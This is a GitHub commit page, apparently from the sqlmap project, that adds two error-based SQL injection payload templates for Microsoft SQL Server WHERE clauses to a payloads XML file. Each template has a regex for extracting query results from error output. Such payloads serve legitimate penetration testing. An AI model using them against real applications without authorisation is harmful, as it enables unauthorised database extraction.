Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit bfdc4fa

Browse files
committed
new error vector for MS SQL (from David Guimaraes' mail)
1 parent 323af45 commit bfdc4fa

1 file changed

Lines changed: 38 additions & 0 deletions

File tree

xml/payloads.xml

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -792,6 +792,25 @@ Formats:
792792
</details>
793793
</test>
794794

795+
<test>
796+
<title>Microsoft SQL Server/Sybase AND error-based - WHERE clause (IN)</title>
797+
<stype>2</stype>
798+
<level>2</level>
799+
<risk>0</risk>
800+
<clause>1</clause>
801+
<where>1</where>
802+
<vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
803+
<request>
804+
<payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
805+
</request>
806+
<response>
807+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
808+
</response>
809+
<details>
810+
<dbms>Microsoft SQL Server</dbms>
811+
</details>
812+
</test>
813+
795814
<test>
796815
<title>Oracle AND error-based - WHERE clause (XMLType)</title>
797816
<stype>2</stype>
@@ -947,6 +966,25 @@ Formats:
947966
</details>
948967
</test>
949968

969+
<test>
970+
<title>Microsoft SQL Server/Sybase OR error-based - WHERE clause (IN)</title>
971+
<stype>2</stype>
972+
<level>3</level>
973+
<risk>2</risk>
974+
<clause>1</clause>
975+
<where>2</where>
976+
<vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
977+
<request>
978+
<payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
979+
</request>
980+
<response>
981+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
982+
</response>
983+
<details>
984+
<dbms>Microsoft SQL Server</dbms>
985+
</details>
986+
</test>
987+
950988
<test>
951989
<title>Oracle OR error-based - WHERE clause (XMLType)</title>
952990
<stype>2</stype>

0 commit comments

Comments
 (0)